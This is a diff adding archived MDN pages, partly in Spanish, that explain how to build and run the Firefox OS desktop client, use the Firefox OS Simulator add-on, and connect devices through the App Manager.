+# This option is required if you want to be able to run Gaia's tests
+ac_add_options --enable-tests
+
+# turn on mozTelephony/mozSms interfaces
+# Only turn this line on if you actually have a dev phone
+# you want to forward to. If you get crashes at startup,
+# make sure this line is commented.
+#ac_add_options --enable-b2g-ril</pre>
+<h3 id="Building">Building</h3>
+<p>Now we're ready to build the desktop client with the following command issued from the <code>mozilla-central</code> directory:</p>
+<pre>make -f client.mk
+</pre>
+<p>The built client will be placed in the <code>../build/dist</code> directory (based on the value you specify for <code>MOZ_OBJDIR</code> in the <code>mozconfig</code> file).</p>
+<h2 id="Downloading_Gaia">Downloading Gaia</h2>
+<p>By default the desktop client will show an empty screen because it doesn't know which Web app to load initially as the system app. The collection of system apps and default apps that come with Firefox OS is called Gaia.</p>
+<p>To download Gaia for the first time, let's clone the source code repository on GitHub:</p>
+<pre>git clone https://github.com/mozilla-b2g/gaia
+cd gaia</pre>
+<p>To update an already existing clone of Gaia, we can pull in the latest changes from GitHub:</p>
+<pre>cd gaia
+git pull
+</pre>
+<h3 id="Generating_a_profile">Generating a profile</h3>
+<p>Next we need to set up Gaia's apps for the desktop client. This includes packaging the Gaia apps in the same way like they would be installed on the device, as well as setting up the permissions for the privileged system apps. We do this by generating a profile. The following command (run in the <code>gaia</code> directory) will take care of that:</p>
+<pre>make
+</pre>
+<p>This should create a <code>profile</code> directory below the <code>gaia</code> directory. The new profile contains a customized extension and other configuration needed to make B2G run properly.</p>
+<h2 id="Running_the_desktop_client">Running the desktop client</h2>
+<p>Once you've built the client and downloaded Gaia (or downloaded and installed the nightly desktop application), you're ready to fire up the Firefox OS desktop client.</p>
+<h3 id="Running_on_Linux">Running on Linux</h3>
+<p>To run the desktop client on Linux using the embedded Gaia profile, just run the <code>b2g</code> executable. If you want to specify a different Gaia profile, you need to bypass the <code>b2g</code> wrapper program and run the <code>b2g-bin</code> binary. The binary is in the archive you downloaded earlier or in the <code>../build/dist/bin</code> directory if you built the client yourself.</p>
+<pre>.../b2g-bin -profile gaia/profile
+</pre>
+<p>You may experience annoying rendering problems. To avoid them, add the following line to your <code>gaia/profile/user.js</code> file:</p>
+<pre>user_pref("layers.acceleration.disabled", true);
+</pre>
+<h3 id="Running_on_Mac">Running on Mac</h3>
+<p>If you downloaded the nightly build, you can simply launch it from the Finder as usual. Any console output is visible by running the standard Console utility program included with your Mac.</p>
+<p>If you want to specify a different Gaia profile, you need to bypass the <code>b2g</code> wrapper program and run the <code>b2g-bin</code> binary. The command line is slightly more complicated due to the location of the <code>b2g-bin</code> binary and the need for absolute paths when specifying the profile directory:</p>
+<pre>.../B2G.app/Contents/MacOS/b2g-bin -profile /full/path/to/gaia/profile
+</pre>
+<h3 id="Running_on_Windows">Running on Windows</h3>
+<p>Running the nightly build on Windows is as simple as launching <code>b2g.exe</code>. If you want to customize the execution, you can do so by running the <code>b2g-bin.exe</code> executable instead; this bypasses the wrapper program that automatically uses the bundled Gaia.</p>
+<h2 id="Command_line_options">Command line options</h2>
+<p>There are a number of command line options you can use to adjust the runtime experience while using the desktop client. You can get a list by using the <code>-help</code> option. This section covers some of the particularly interesting ones.</p>
+<h3 id="option-screen" name="option-screen">Specifying the screen size</h3>
+<p>You can specify the screen size of the device you want to simulate using the <code>--screen</code> option:</p>
+<pre>b2g --screen=<em>&lt;width&gt;</em>x<em>&lt;height&gt;</em>[@<em>&lt;dpi&gt;</em>]</pre>
+<p>Where <em>&lt;width&gt;</em>, <em>&lt;height&gt;</em>, and <em>&lt;dpi&gt;</em> are fairly self-explanatory parameters: the width and height of the device's screen in pixels and the device resolution in DPI. For example:</p>
+<pre>b2g --screen=320x480
+b2g --screen=320x480@160
+</pre>
+<p>Optionally, you can specify certain devices by name to simulate their screen size and resolution:</p>
+<ul>
+  <li><code>iphone</code></li>
+  <li><code>ipad</code></li>
+  <li><code>nexus_s</code></li>
+  <li><code>galaxy_nexus</code></li>
+  <li><code>galaxy_tab</code></li>
+  <li><code>wildfire</code></li>
+  <li><code>tattoo</code></li>
+  <li><code>salsa</code></li>
+  <li><code>chacha</code></li>
+</ul>
+<h3 id="option-console" name="option-console">Opening the JavaScript console</h3>
+<p>You can open the JavaScript console when launching the desktop B2G client by launching it from the command line with the <code>-jsconsole</code> flag. After building, just do:</p>
+<pre>.../b2g -jsconsole -profile <em>/path/to/your/profile</em></pre>
+<p>If you've installed the nightly build on a Mac, you can do the following:</p>
+<pre>/Applications/B2G.app/Contents/MacOS/b2g-bin -jsconsole -profile <em>/path/to/your/profile</em></pre>
+<div class="note">
+  <p><strong>Note:</strong> On production builds of Firefox OS, console logging (such as by <a href="/es/docs/Web/API/Console/log" title='Vea "Mostrando texto en la consola" en la documentación de console para mas detalles.'><code>console.log()</code></a>) is disabled by default. In order to enable it, open the Settings app and navigate down through Device Information-&gt;More Information-&gt;Developer, then toggle on the "Console Enabled" preference.</p>
+</div>
+<h3 id="option-runapp" name="option-runapp">Launching a specific application at startup</h3>
+<p>You can now specify an application to be launched automatically when b2g starts up in the desktop client. This is done as soon as the rest of the system is done loading up. To do this, just use the <code>--runapp</code> option, which takes as a parameter the name of the application to run. For example:</p>
+<pre> .../b2g-bin -profile <em>/path/to/your/gaia/profile</em> --runapp email</pre>
+<p>Before looking for an app to launch, the specified name is normalized by converting it to all lower case and removing all dashes and spaces. This normalized name is then compared to similarly normalized names from the manifests of available apps' manifests.</p>
+<p>For example, the name of the email app is currently "E-mail", but <code>--runapp email</code> will work because of this normalization.</p>
+<p>If you specify the <code>--runapp</code> option without an argument, or with an empty argument, the b2g client will output to your terminal a list of the known applications as well as a brief usage message.</p>
+<div class="note">
+  <p><strong>Note:</strong> Using the <code>--runapp</code> option disables the lock screen as a side effect and does not re-enable it. It's assumed that you won't use this command on a profile on which you will be testing the lock screen, or you will turn it back on manually in Settings application. Feel free to contribute a patch to change this behavior if it's a problem.</p>
+</div>
+<h2 id="Usage_tips">Usage tips</h2>
+<p>This section provides a few helpful tips to using the B2G desktop client.</p>
+<ul>
+  <li>ESC key performs the same function as the "back" button.</li>
+  <li>Home key performs the same function as the "home" button; if you're on a Mac, Home key is available as Fn+← (Fn + Left Arrow).</li>
+  <li>End key performs the same function as the "power" button; if you're on a Mac, End key is available as Fn+→ (Fn + Right Arrow).</li>
+  <li>Page Up and Page Down keys perform the same function as "Volume Up" and "Volume Down" buttons respectively; if you're on a Mac, Page Up key is available as Fn+↑ (Fn + Up Arrow) and Page Down key is available as Fn+↓ (Fn + Down Arrow).</li>
+  <li>Long press to Home key opens the "Card View"; if you're on Mac, Cmd+Fn+← (Cmd + Fn + Left Arrow) opens the "Card View".</li>
+</ul>
+<h2 id="Next_steps">Next steps</h2>
+<p>Now that you have a desktop build of Boot to Gecko running, you can do testing, development, and other work in it:</p>
+<ul>
+  <li><a href="/en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko">Debugging on Boot to Gecko</a></li>
+  <li><a href="/en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko">Testing Boot to Gecko</a></li>
+  <li><a href="http://blog.johnford.org/desktop-b2g-include-gaia/" title="http://blog.johnford.org/desktop-b2g-include-gaia/">Desktop B2G builds now include Gaia</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/using_firefox_os_simulator/index.html b/files/es/archive/b2g_os/using_firefox_os_simulator/index.html
new file mode 100644
index 0000000000..158cdca809
--- /dev/null
+++ b/files/es/archive/b2g_os/using_firefox_os_simulator/index.html
@@ -0,0 +1,57 @@
+---
+title: Using Firefox OS Simulator
+slug: Archive/B2G_OS/Using_Firefox_OS_Simulator
+translation_of: Archive/B2G_OS/Simulator
+---
+<p>The Firefox OS Simulator is a desktop platform tool that shows you what apps will look like on a phone that is running the Firefox OS. It is the easiest way to try out apps on Firefox OS before submitting them to the Firefox Marketplace. The Firefox OS Simulator was formerly called "r2d2b2g", but that name is too difficult.</p>
+<p>The Simulator is packaged as a desktop Firefox add-on. You can use any recent version of Firefox from Firefox 17 onward.</p>
+<p>Although there are other ways to run the Firefox OS desktop, the best and most convenient way for app developers is this one. If you're a core Firefox OS platform developer, or are working on localization, there are other tools that are better suited for your needs. The Simulator add-on includes support for adding apps to the test environment, and is configured to support remote debugging, remote Web console, and other features. It also provides a visible Home button you can click, and sets the user-agent string to the one used by Firefox OS on devices. The result is, in nearly every way, a better environment for app developers.</p>
+<h2 id="Installing_Firefox_OS_Simulator">Installing Firefox OS Simulator</h2>
+<ol>
+  <li>Using Firefox, go to this link: <a href="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/" title="/en-US/firefox/addon/firefox-os-simulator/">https://addons.mozilla.org/addon/firefox-os-simulator/</a></li>
+  <li>Click <strong>Add to Firefox</strong>. It's a large download. Follow the prompts that appear.</li>
+</ol>
+<div class="warning">
+  <p>Because of the size of the add-on, Firefox may freeze for several seconds while installing it, and its <em>unresponsive script</em> dialog may appear, due to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814505" title="https://bugzilla.mozilla.org/show_bug.cgi?id=814505">bug 814505</a>. If it does, just click the <em>Continue</em> button, and Firefox will continue installing the add-on.</p>
+</div>
+<h2 id="Starting_the_Simulator">Starting the Simulator</h2>
+<ol>
+  <li>On the <strong>Firefox</strong> menu (Windows) or the <strong>Tools</strong> menu (Mac, Linux), go to <strong>Web Developer</strong> and click <strong>Firefox OS Simulator</strong>. The dashboard appears.
+    <p><img alt="Dashboard" src="/files/4487/dashboard.jpg" style="width: 600px; height: 419px;"></p>
+  </li>
+  <li>Click the <strong>Stopped</strong> button. It changes into the <strong>Running</strong> button and Firefox OS boots up in its own window. The default size for this window is 320x480.
+    <p><img alt="Simulator" src="/files/4485/simulator.jpg" style="width: 336px; height: 552px;"></p>
+    <p>To stop the Simulator, click the <strong>Running</strong> button in the dashboard, or just close the Simulator window.</p>
+  </li>
+</ol>
+<div class="note">
+  <p><strong>Note:</strong> You can also start and stop the Simulator in the Developer Toolbar command line using <code>firefoxos start</code> and <code>firefoxos stop</code>.</p>
+</div>
+<h2 id="Navigating_in_the_Simulator">Navigating in the Simulator</h2>
+<p>Imitate swipe motions in the Simulator by clicking and dragging with the mouse. The mouse scroll wheel will move a list up and down, such as in the Settings app. Click and hold down the mouse button to simulate a long press.</p>
+<p>To get back to the home screen, click the home button at the bottom of the Simulator, or press the <strong>Home</strong> key on your keyboard. On Mac keyboards without a <strong>Home</strong> key, use <strong>Fn + Left Arrow</strong>.</p>
+<h2 id="Console_checkbox">Console checkbox</h2>
+<p>Click the <strong>Console</strong> check box before you start the Simulator to open an error console so you can spot errors that might occur while you're working on your app.</p>
+<h2 id="Web_APIs_in_the_Simulator">Web APIs in the Simulator</h2>
+<p>Mozilla is working on many Web APIs to make native platform capabilities available to Open Web Apps. The Web APIs currently supported in the Simulator are:</p>
+<ul>
+  <li>Contacts API</li>
+  <li>Settings API</li>
+  <li><span style="color: #ff0000;"><span style="background-color: #ffff00;">? what other APIs ?</span></span></li>
+</ul>
+<h2 id="Installing_an_app_in_the_Simulator">Installing an app in the Simulator</h2>
+<p>To install a hosted app in the Simulator, type the URL to the app's manifest in the URL box, and click <strong>Add Manifest</strong>. This will install the app in the Simulator. Here is a simple weather app that you can use as a test:</p>
+<pre>http://jlongster.github.com/weatherme/manifest.webapp</pre>
+<p>The app's icon will be added to one of the home screens in the Simulator.</p>
+<p>You can also install a plain website in the same way. Just type the website's URL in the box and click <strong>Add URL</strong>, and an icon for the site will be added to a home screen. Autocompletion works if you have the website open in another tab.</p>
+<p>To install a packaged app in the Simulator, click the <strong>Add Directory</strong> button, then select the mini-manifest of the app on your local filesystem.</p>
+<p>To remove an app from the Simulator, click the <strong>Remove</strong> link for the app in the dashboard. You may have to restart the Simulator to see it gone.</p>
+<h2 id="Updating_an_app">Updating an app</h2>
+<p>If you are working on an app and need to update it in the Simulator, click the app's Update button in the dashboard. You will have to restart the Simulator. Hosted apps follow the usual rules for Website caching and working with appcache.</p>
+<h2 id="Reporting_bugs">Reporting bugs</h2>
+<p>Remember that the Simulator is a brand-new tool and is still heavily under development. Please <a href="https://github.com/mozilla/r2d2b2g/issues?state=open" title="https://github.com/mozilla/r2d2b2g/issues?state=open">let us know</a> if you find any bugs.</p>
+<h2 id="More_information">More information</h2>
+<p>The Simulator itself is the <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Firefox OS desktop client</a> (also called the B2G desktop client), which is a build of Firefox OS that runs on Windows, Mac, and Linux. Firefox OS Simulator makes it easier to test apps on Firefox OS desktop because it includes functionality for adding apps to the environment and is configured/extended in a variety of ways to better meet the needs of app developers.</p>
+<p>However, because the Simulator uses the Firefox OS desktop client, the documentation for B2G Desktop, Gaia, and B2G generally will also apply to the Simulator to some extent. Here are a couple of those docs:</p>
+<p><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Using the Firefox OS desktop client</a></p>
+<p><a href="https://wiki.mozilla.org/Gaia/Hacking" title="https://wiki.mozilla.org/Gaia/Hacking">Hacking Gaia</a></p>
diff --git a/files/es/archive/b2g_os/using_the_app_manager/index.html b/files/es/archive/b2g_os/using_the_app_manager/index.html
new file mode 100644
index 0000000000..bd8b6e6427
--- /dev/null
+++ b/files/es/archive/b2g_os/using_the_app_manager/index.html
@@ -0,0 +1,179 @@
+---
+title: Usando el App Manager
+slug: Archive/B2G_OS/Using_the_App_Manager
+translation_of: Archive/B2G_OS/Using_the_App_Manager
+---
+<div class="summary">
+ <p>El App Manager es una nueva herramienta disponible en Firefox para escritorio, que provee una cantidad de útiles herramientas para ayudarte a probar, desarrollar y depurar aplicaciones HTML5 en teléfonos Firefox OS y el Simulador de Firefox OS, directamente en tu navegador.</p>
+</div>
+<p>El App Manager se compone de:</p>
+<ul>
+ <li>El <a href="#Apps_panel"><em>Apps panel</em></a>, que maneja apps locales (aplicaciones cuyo código fuente está en tu equipo) y apps  alojadas externamente, perimitiéndote empaquetarlas e instalarlas en tu dispositivo o simulador, y depurarlas usando Toolboxes.</li>
+ <li>El <a href="#Device_panel"><em>Device panel</em></a>, que muestra información sobre el dispositivo conectado, incluyendo la versión de Firefox OS instalada, los permisos requeridos para usar las APIs en el dispositivo, y las apps instaladas.</li>
+ <li><a href="/en-US/docs/Tools_Toolbox"><em>Toolboxes</em></a>, que son conjuntos de aplicaciones para el desarrollador (consola web, inspecto, depurador, etc.) que pueden ser conectadas a una aplicación en ejecución vía el Apps panel para realizar operaciones de depuración.</li>
+</ul>
+<h2 id="Instalación_rápida"><a name="Configuring_device">Instalación rápida:</a></h2>
+<p>Esta seccion esta diseñada para conseguir la puesta en funcionamiento lo antes posible; si necesitas mas detalles por favor siga adelante con la sección <a href="#Configuring_device">Configuración del dispositivo y sistema</a> y continue leyendo desde allí. Vea también la sección <a href="#Troubleshooting">Solución de problemas</a> para obtener ayuda si tiene algún problema.</p>
+<ol>
+ <li>Asegúrate de tener Firefox para escritorio 26+ instalado</li>
+ <li>Abre el App Manager (en la barra de direcciones, tipea <code>about:app-manager</code>)</li>
+ <li>Si no tienes un dispositivo real:
+  <ol>
+   <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Install the Firefox OS Simulator</a></li>
+   <li>En la barra inferior del App Manager, haz clic en <em>Start Simulator</em>, después haz clic en el nombre del simulador instalado, que debe aparecer ahí.</li>
+  </ol>
+ </li>
+ <li>Si tienes un dispositivo real:
+  <ol>
+   <li>Asegúrate que tu dispositivo está corriendo Firefox OS 1.2+</li>
+   <li>En Opciones de tu dispositivo, desactiva el Bloqueo de pantalla (<code>Opciones &gt; <code>Bloqueo de pantalla</code></code>) y activa Depuración remota (<code>Opciones &gt; Información del dispositivo &gt; Más información &gt; Desarrollador</code>)</li>
+   <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/adb-helper/">Instala el ADB Helper</a> como complemento en tu Firefox de escritorio</li>
+   <li>Conecta tu dispositivo a tu máquina vía cable USB</li>
+   <li>El nombre de tu dispositivo debería aparecer en la barra inferior del App Manager. Haz clic en él.</li>
+  </ol>
+ </li>
+ <li>En la barra inferior debe aparecer "Conectar con: xxx"</li>
+ <li>Haz  clic en el panel de <em>Apps</em> y añade una app (empaquetada y hospedada)</li>
+ <li>El botón <em>Iniciar</em> valida tu app y la instala en el simulador / dispositivo</li>
+ <li>El botón <em>Depurar</em> conecta las herramientas para desarrolladores con la app arrancada</li>
+</ol>
+<h2 id="Configuración_del_dispositivo_y_el_sistema">Configuración del dispositivo y el sistema</h2>
+<p><span id="result_box" lang="es"><span class="hps">Lo primero que</span> <span class="hps">tendrá que hacer</span> <span class="hps">cuando se utiliza el</span> <span class="hps">App Manager</span> <span class="hps">es asegurarse de que</span> <span class="hps">su sistema</span> <span class="hps">y el teléfono están</span> <span class="hps">configurados correctamente</span><span>.</span> <span class="hps">En esta sección</span> <span class="hps">se ejecutará</span>n <span class="hps">todos</span> <span class="hps">los pasos necesarios.</span></span></p>
+<h3 id="Se_requiere_Firefox_OS_1.2">Se requiere Firefox OS 1.2+</h3>
+<p><span id="result_box" lang="es"><span class="hps">Asegúrese de que su</span> <span class="hps">dispositivo se está ejecutando</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2/Boot2Gecko</span> <span class="hps">1.2</span> <span class="hps">o superior.</span> <span class="hps">Para</span> <span class="hps">comprobar qué versión de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">del dispositivo</span> <span class="hps">está funcionando</span><span>, vaya a Ajustes </span><span>&gt;</span> <span class="hps">Información </span><span>&gt;</span> <span class="hps">Software.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">usted no tiene</span> <span class="hps">una versión</span> <span class="hps">lo suficientemente alta</span> <span class="hps">instalada,</span> <span class="hps">dependiendo de</span><span class="hps">l teléfono</span> <span class="hps">que tiene</span>,<span class="hps"> necesitará</span> <span class="hps">ya sea</span> <span class="hps">instalar una</span> construcción nocturna <span class="hps">disponible</span> <span class="hps">de</span> <span class="hps">Firefox</span> OS <span class="hps">1.2</span> superior, <span class="hps">o</span> <span class="hps">configurar y</span> <span class="hps">construir por sí mismo</span> <span class="hps">desde la fuente</span><span>.</span></span></p>
+<p>Construcciones disponibles:</p>
+<ul>
+ <li><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a> (para saber más acerca de como usarlo, lea <a href="/es/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</li>
+ <li>More to follow</li>
+</ul>
+<p>Para construir tu propia distribución de Firefox OS 1.2+, siga las instrucciones que se encuentran en <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>, iniciando con <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
+<h3 id="Depuración_remota">Depuración remota</h3>
+<p><span id="result_box" lang="es"><span class="hps">A continuación, debe</span> <span class="hps">habilitar la depuración remota</span> <span class="hps">en Firefox</span> <span class="hps">OS</span><span>.</span> <span class="hps">Para ello,</span> <span class="hps">vaya a Ajustes</span><span>&gt;</span> <span class="hps">Información</span><span>&gt; Más información</span><span>&gt;</span> <span class="hps">Desarrollador</span> <span class="hps">y</span> <span class="hps">active la casilla</span> <span class="hps">de depuración remota</span><span>.</span></span></p>
+<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on"><a name="adb-helper">ADB o ADB helper</a></h3>
+<p><span id="result_box" lang="es"><span class="hps">El proceso utiliza</span> <span class="hps">el puente</span> <span class="hps">de depuración</span> <span class="hps">Android</span> <span class="hps">(ADB</span><span>)</span> <span class="hps">para manejar la</span> <span class="hps">conexión y comunicación entre el dispositivo</span> y la computadora<span>.</span> <span class="hps">Hay dos</span> <span class="hps">opciones para ejecutar</span> <span class="hps">ADB</span><span>:</span></span></p>
+<ul>
+ <li>
+  <p>Deje que Firefox controle ADB (recomendado). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/adb-helper/">Instale el complemento ADB Helper</a>, que hace que el proceso sea más fácil. Con este complemento, no hay necesidad de instalar el ADB ni de escribir el comando adb de la otra opción, todo es manejado por el complemento.</p>
+ </li>
+ <li>Use ADB manualmente. necesitas tenerlo instalado en tu computadora - descarga e instala adb (<a href="http://developer.android.com/sdk/index.html">Get the Android SDK</a>) como parte del paquete del SDK de Android. <span id="result_box" lang="es"><span class="hps">debes </span><span class="hps">activar el reenvío de</span> <span class="hps">puerto introduciendo</span> <span class="hps">el siguiente comando en</span> <span class="hps">el terminal</span></span>:
+  <pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
+  Ten en cuenta que tendrás que hacer esto cada vez que el teléfono se reinicie o se desconecte y vuelva a conectarse.</li>
+</ul>
+<div class="note">
+ <p>Nota: no es necesario ejecutar este comando si tienes instalado el complemento ADB Helper.</p>
+</div>
+<h2 id="Conectando_tu_disporitivo_al_App_Manager">Conectando tu disporitivo al App Manager</h2>
+<p><span id="result_box" lang="es"><span class="hps">Con toda</span> <span class="hps">la configuración</span> <span class="hps">hecha</span><span>, ahora es</span> <span class="hps">el momento de</span> <span class="hps">conectar el dispositivo a</span> <span class="hps">tu ordenador</span> <span class="hps">e iniciar el</span> <span class="hps">App Manager</span></span>:</p>
+<ol>
+ <li>Conecta el dispositivo a tu computadora via USB</li>
+ <li>D<span id="result_box" lang="es"><span class="hps">esactiva el</span> b<span class="hps">loqueo de pantalla</span> <span class="hps">en tu dispositivo</span><span>, vaya a</span> Ajustes<span class="hps">&gt;</span> <span class="hps">Pantalla</span> <span class="hps">y desmarque</span> <span class="hps">la casilla </span><span class="hps">Bloquear la pantalla</span><span>.</span> <span class="hps">Esta es una buena</span> <span class="hps">idea, porque</span> <span class="hps">cuando la pantalla</span> <span class="hps">se bloquea</span><span>,</span> <span class="hps">la conexión del teléfono</span> <span class="hps">se pierde,</span> <span class="hps">lo que significa que</span> <span class="hps">ya no está disponible</span> <span class="hps">para la depuración</span><span>.</span></span></li>
+ <li>Inicia el App Manager, en el Navegador Firefox de escritorio seleccione la opción de menú Herramientas &gt; Desarrollo web &gt; App Manager, o escriba about:app-manager in la barra de direcciones.</li>
+ <li>En la parte inferior del App Manager, verás una barra de estado de conexión (vea la imagen de abajo). <span id="result_box" lang="es"><span class="hps">Usted debe</span> <span class="hps">ser capaz de</span> <span class="hps">conectar el dispositivo</span><span>, haga clic en</span> el botón<span class="hps"> "Connect</span> to <span class="hps">localhost:</span> <span class="hps">6000"</span><span class="hps">.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Si esto funciona</span> <span class="hps">correctamente,</span> un mensaje <span class="hps">deberá aparecer</span> <span class="hps">en el dispositivo:</span> <span class="hps atn">"</span>An incoming request to permit remote debugging connection was detected. Allow connection?<span>"</span><span>.</span> <span class="hps">Pulsa</span> <span class="hps">el botón</span> <span class="hps atn">OK (T</span><span>ambién puede que tengas</span> <span class="hps">que pulsar el</span> <span class="hps">botón de encendido del</span> <span class="hps">teléfono para que pueda</span> <span class="hps">ver</span> <span class="hps">el mensaje</span><span>.</span><span>)</span> <span class="hps">La barra de</span> <span class="hps">estado de la conexión</span> <span class="hps">debe</span> <span class="hps atn">decir "</span>Connected to B2G<span>"</span><span>,</span> <span class="hps">con un</span> <span class="hps">botón Desconectar</span> <span class="hps">disponible</span> <span class="hps">para presionar</span> <span class="hps">si quieres</span> <span class="hps">cancelar la conexión</span><span>.</span></span></li>
+</ol>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="width: 600px; height: 30px; display: block; margin: 0px auto;"></p>
+<div class="note">
+ <p><span id="result_box" lang="es"><span class="hps">Tenga en cuenta que</span> <span class="hps">los otros controles</span> <span class="hps">en</span> <span class="hps">la barra de</span> <span class="hps">estado de la conexión</span> <span class="hps">permiten conectar</span> <span class="hps">un simulador para</span> <span class="hps">el Administrador de</span> <span class="hps">la aplicación</span><span>, lo que</span> <span class="hps">vamos a cubrir en</span> <span class="hps">la siguiente sección,</span> <span class="hps">a continuación</span><span>,</span> <span class="hps">y cambiar</span> <span class="hps">el puerto que</span> <span class="hps">la conexión</span> <span class="hps">pasa</span> <span class="hps">sucesivamente.</span> <span class="hps">Si cambia el</span> <span class="hps">puerto, también</span> <span class="hps">será necesario que habilite</span> <span class="hps">el reenvío de puertos</span> <span class="hps">para este puerto</span><span>, así</span><span>,</span> <span class="hps">como se indica en</span> la sección <span class="hps"><a href="#adb-helper">ADB o ADB Helper</a>.</span></span></p>
+</div>
+<h2 id="Usar_el_complemento_Firefox_OS_Simulator"><a name="Simulator">Usar el complemento Firefox OS Simulator</a></h2>
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">no tienes</span> <span class="hps">un dispositivo real</span> <span class="hps">disponible para usar</span> <span class="hps">con el App Manager</span><span>, puede</span>s <span class="hps">probarlo</span> <span class="hps">utilizando un</span> <span class="hps">el complemento Firefox</span> <span class="hps">OS</span> <span class="hps">Simulator</span><span>.</span> <span class="hps">Para empezar</span><span>, instala</span> <span class="hps">el simulador</span> <span class="hps">apropiado para su sistema</span> <span class="hps">operativo</span><span>:</span></span></p>
+<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Install Simulator</a></p>
+<p><span id="result_box" lang="es"><span class="hps">Una vez</span> <span class="hps">que hayas instalado</span> <span class="hps">el simulador,</span> <span class="hps">tienes que ir</span> <span class="hps">a la barra de</span> <span class="hps">estado de la conexión</span> <span class="hps">en la parte inferior</span> <span class="hps">de</span>l App Manager<span class="hps">,</span> <span class="hps">y haga clic en</span> <span class="hps">el botón "Start simulator</span><span>"</span><span>.</span> <span class="hps">Aparecerán</span> <span class="hps">tres botones</span><span>:</span></span></p>
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">"Firefox</span> <span class="hps">OS</span> <span class="hps">1.2"</span> <span class="hps">...</span> <span class="hps atn">etc (</span><span>o algo</span> <span class="hps">similar):</span> <span class="hps">el botón de</span> <span class="hps">más a la izquierda</span> <span class="hps">contiene el</span> <span class="hps">nombre de la versión</span> <span class="hps">del simulador</span> <span class="hps">que ha instalado.</span> <span class="hps">Haga clic en él</span> <span class="hps">para iniciar la conexión</span> <span class="hps">al simulador.</span></span></li>
+ <li>"Add": <span id="result_box" lang="es"><span class="hps">el botón central</span> <span class="hps">se desplaza</span> <span class="hps">al simulador</span> <span class="hps">instalar</span> <span class="hps">enlaces de este artículo</span><span>, por lo que</span> <span class="hps">puede</span> <span class="hps">añadir más</span> <span class="hps">Simuladores</span> <span class="hps">(Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span><span>, Firefox</span> <span class="hps">OS 1.3</span><span>, ...)</span><span>.</span></span></li>
+ <li>"Cancel": este botón cancela la conexión.</li>
+</ul>
+<h2 id="Panel_de_aplicaciones"><a name="Apps_panel">Panel de aplicaciones</a></h2>
+<p> </p>
+<p><span id="result_box" lang="es"><span class="hps">Ahora</span> <span class="hps">que todo funciona</span><span>,</span> <span class="hps">vamos a revisar</span> <span class="hps">la funcionalidad disponible</span> <span class="hps">dentro de la</span> <span class="hps">App Manager</span><span>, empezando por el</span> <span class="hps">Panel de</span> <span class="hps">aplicaciones</span><span>.</span> <span class="hps">A partir de aquí</span><span>, puede importar</span> <span class="hps">una aplicación</span> <span class="hps">existente</span> <span class="hps">para instalar</span> en<span class="hps"> su dispositivo y</span> <span class="hps">depurarlo</span></span>:</p>
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Para instalar</span> <span class="hps">una aplicación</span> <span class="hps">local, haga clic</span> <span class="hps">en el signo "+</span>" <span class="hps">junto a la etiqueta</span> <span class="hps">"Add Packaged App</span><span class="hps">"</span> <span class="hps">y use</span> <span class="hps">el cuadro de diálogo</span> <span class="hps">de selección de archivos</span> <span class="hps">para seleccionar</span> <span class="hps">el directorio </span>donde <span class="hps">está contenida la aplicación.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Para instalar una</span> <span class="hps">aplicación alojada</span> <span class="hps">externamente</span><span>, introduzca la</span> <span class="hps">URL</span> <span class="hps">absoluta del</span> <span class="hps">archivo manifest</span> <span class="hps">de la aplicación</span> <span class="hps">en</span> <span class="hps">el campo de texto</span> <span class="hps">dentro de la caja</span> <span class="hps atn">"</span>Add Hosted App<span class="hps">"</span><span>,</span> <span class="hps">luego presione el</span> <span class="hps">botón más</span><span>.</span></span></li>
+</ul>
+<p><span id="result_box" lang="es"><span class="hps">La información sobre su</span> <span class="hps">aplicación</span> <span class="hps">debe aparecer en la</span> <span class="hps">parte derecha de</span> <span class="hps">la ventana,</span> <span class="hps">como se ve</span> <span class="hps">a continuación:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+<h2 id="Editor_del_Manifiesto">Editor del Manifiesto</h2>
